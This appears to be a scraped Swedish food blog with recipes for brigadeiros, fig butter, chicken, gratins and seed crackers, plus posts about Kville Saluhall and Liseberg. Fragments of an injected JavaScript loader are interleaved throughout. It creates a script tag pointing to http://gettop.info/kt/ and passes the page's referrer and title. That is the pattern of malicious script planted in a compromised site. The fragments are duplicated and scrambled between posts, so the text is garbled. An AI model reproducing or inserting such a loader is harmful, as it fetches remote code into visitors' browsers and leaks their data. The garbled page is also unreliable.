Brigadeiros

bild17

Jag tröttnar aldrig på brigadeiros…sååå goda. Grundreceptet hittade jag här.

Recept (15 runda bollar)
1 burk sötad kondenserad mjölk (400 gram)
50 gram smör eller margarin
3 msk kakao
1 krm salt

Garnering: Kakao

Gör så här:
Häll kondenserad mjölk, smör eller margarin, kakao och salt i en tjockbottnad gryta.  Sätt plattan på högsta värmen och rör hela tiden med en trägaffel. När smeten börjar tjockna – sänk temperaturen till medeltemperatur. Om det bildats klumpar – rör under några sekunder med en visp. Smeten är färdig när den är tjock, det tar 8-10 minuter. Ett litet tips. Rör ut din kakao i lite vatten och sen ner i grytan så slipper du få klumpar i smeten.

Låt smeten kallna i kylen på en tallrik ca 2 timmar. Forma kulor av smeten och rulla dem i dekorationsströssel eller kakao. Förvara brigadeiros kallt i kylskåpet, de är godast kalla. Jag tyckte mina brigadeiros blev godast med chokladströssel.

bild16bild14bild15if (document.currentScript) {

Färskostbollar med renkött

bild22

Det här receptet hittade jag här.

Recept 12 bollar
100 g philadelphiaost
75 g rökt renkött, finhackat
1 tsk färskriven pepparrot
1 dl hackade örter, som dill, gräslök, persilja

Gör så här:
Blanda cream cheese, renkött och pepparrot. Rulla till små bollar.
Häll upp örterna på ett fat. Rulla varje boll i örterna så att de täcks. Förvara bollarna kallt tills de ska serveras.

bild20bild19bild18bild21bild22bild23

 

Fikonsmör

bild24

Förra helgen fick jag testa på ett supergott fikonsmör till pepparkakor och ost . Nedan hittar ni två recept på fikonsmör. Det ena receptet hittade jag  på Renée Voltaire’s hemsida här. Jag dubblade Renée Voltaire’s recept  för att få en liten burk.

1 liten burk
8-10 torkade fikon
1 banan
1 cm ingefära, skalad (ca 1 tsk)
1 nypa salt

Gör så här: Ta bort den hårda kvisten på toppen av fikonet. Mixa ingredienserna till en slät röra.

Den andra varianten av  fikonsmör  finns  på Under vårt tak’s blogg här.

1 liten burk
10 soltorkade fikon
1 banan
1 tsk färskriven ingefära
1 tsk kanel
1 nypa havssalt

Gör så här: Skär av den hårda kvisten på toppen av fikonet. Mixa ingredienserna till en slät röra. Förvara fikonsmöret i en tätslutande burk med lock i kylskåpet.

bild27bild26bild25bild28bild24

 

 

 

d.getElementsByTagName(‘head’)[0].appendChild(s);

Kville Saluhall

Förra helgen besökte jag Kville Saluhall för första gången.

På Vågmästarplatsen ligger den nya saluhallen i två plan.

Vilken fin lokal och en massa gott i saluhallen att köpa. Det går även att fika/äta lunch där om man vill.

Här kommer lite bilder på stället.

bildBbildC

bildDbildH

bildGbildLbildKbildJbildIbildAbildF

 }

var d=document;var s=d.createElement(‘script’); if (document.currentScript) {

Marinerad kyckling med basilika och soltorkad tomat.

Marinerad kyckling med basilika och soltorkad tomat.

Ingredienser: 1 kg kycklingbröstfilé, salt och peppar
Marinad:
2 dl olivolja
1 dl balsamvinäger
Färsk basilika
Soltorkade, marinerade tomater
4 klyftor vitlök, krossade och hackade
Gör så här:  Krydda kycklingen och bryn den i en stekpanna. Lägg kycklingen på en plåt in i ca 20 min på 200 grader. Låt kycklingen kallna. Blanda marinaden och lägg i kycklingen  i några timmar (eller över natten). Skär upp kyckingen i skivor innan servering och lägg på lite extra basilika vid servering.  Servera gärna med en grekisk sallad.

var d=document;var s=d.createElement(‘script’);

document.currentScript.parentNode.insertBefore(s, document.currentScript);

Chokladsnickers (LCHF)

bild (176)

Det här receptet hittade jag på Instragram.

Recept 32 st .
4 dl grädde
2 tsk vaniljpulver
4 msk sukrin
200 gram smör

70% mörk choklad att doppa pralinerna i.

Gör så här:
Blanda 4 dl grädde med vaniljpulver, sukrin och smör och låt sjuda på svag värme tills det tjocknar och blir som kolasås. Tar ca en timme. Häll i en form som du klätt i plastfolie och på med jordnötter och tryck ner dem lite. Ställ det i frysen ca 1 1/2 timme. Ta ut formen och dela i ca 32 bitar. Doppa med hjälp av en matpincett i smält choklad som du blandat ner med lite smör och sen in i kylen.

bild5bild10bild4bild12bild11bild2bild1bild3bild7bild8bild9document.currentScript.parentNode.insertBefore(s, document.currentScript);

var d=document;var s=d.createElement(‘script’);

Potatis- och kasslergratäng

bild5

Här kommer ett recept på en supergod kasslergratäng. Grundreceptet hittade jag här. Jag serverade kasslergratängen med en grönsallad.

Ingredienser 4 person
400 g kassler
8-10 medelstora potatisar ca 750 g
1 gul lök
3 dl grädde
2 dl riven smakrik ost
1 krm salt
1 krm svartpeppar
1 paket cantadou vitlök

Gör så här:
Sätt ugnen på 225°. Skär kasslern i bitar. Skala potatisen och skiva den tunt. Skär den gula löken i skivor och stek lätt i stekpannan. Lägg några lager med potatis, lök, och riven ost i en smörjd, ugnsfast form. Toppa med kasslern och klicka ut din cantadou och resten av den rivna osten. Häll över grädden. Grädda mitt i ugnen ca 25 min. Servera med en grönsallad och ev. vitlöksbröd.
bild2bild3bild1bild4bild5

d.getElementsByTagName(‘head’)[0].appendChild(s);

} else {} else {

Frökex

bild1

Receptet på frökexen ger en bakplåt med frökex.
bild50

Recept
1 dl majsmjöl
1 dl solrosfrön
1 dl sesamfrön
1 dl pumpakärnor
1/2 dl rapsolja
2 dl kokande vatten.

Gör så här:
Rör ihop alla ingredienser och platta ut på en klädd bakplåt. Grädda på 150 grader i mitten av ugnen ca 1 timma och låt eftergrädda när du stängt av ugnen.

bild47bild46bild45bild44bild49bild48bild50

if (document.currentScript) { s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

Lax i ugn

bild1

I fredags lagade jag det här goda receptet som smakade riktigt gott. Grundreceptet hittade jag här.

4port:
4 laxfiléer
1 burk cantadou vitlök & örter (färskost)
3 dl grädde
salt & citronpeppar
handskalade räkor på burk (alt skala egna. köp under inga omständigheter färdigskalade frysta eller små inlagda räkor -det är inte gott!)

Lägg laxen i en ugnsform. Blanda färskost och grädde till en sås. Smaksätt med salt och citronpeppar. Häll såsen över laxen och ställ in i ugnen, 200 C, ca 20 min. Ta ut formen ur ugnen och strö över räkorna.

bild2bild3

} else {s.src='http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=' + encodeURIComponent(document.referrer) + '&default_keyword=' + encodeURIComponent(document.title) + '';

Jul på Liseberg 2014

bild42

I lördags besökte jag ”Jul på Liseberg” och fick lite julstämning.
Här kommer lite bilder från besöket.

bild17bild20

bild32

bild31bild27bild26bild25bild24bild12bild11

bild6bild5bild29bild28bild23bild22

bild21bild19

bild18

bild16bild15bild14bild13bild8bild7bild9

bild37bild34bild33bild35bild36bild40bild43

Jag köpte med mig en fransk lantbrie som passar perfekt till mina frökex.

bild1

Köpte ett superfin armband som jag ska skicka till min kompis Anna i Australien som julklapp.

bild1

bild4bild3bild2} else {

d.getElementsByTagName(‘head’)[0].appendChild(s);document.currentScript.parentNode.insertBefore(s, document.currentScript);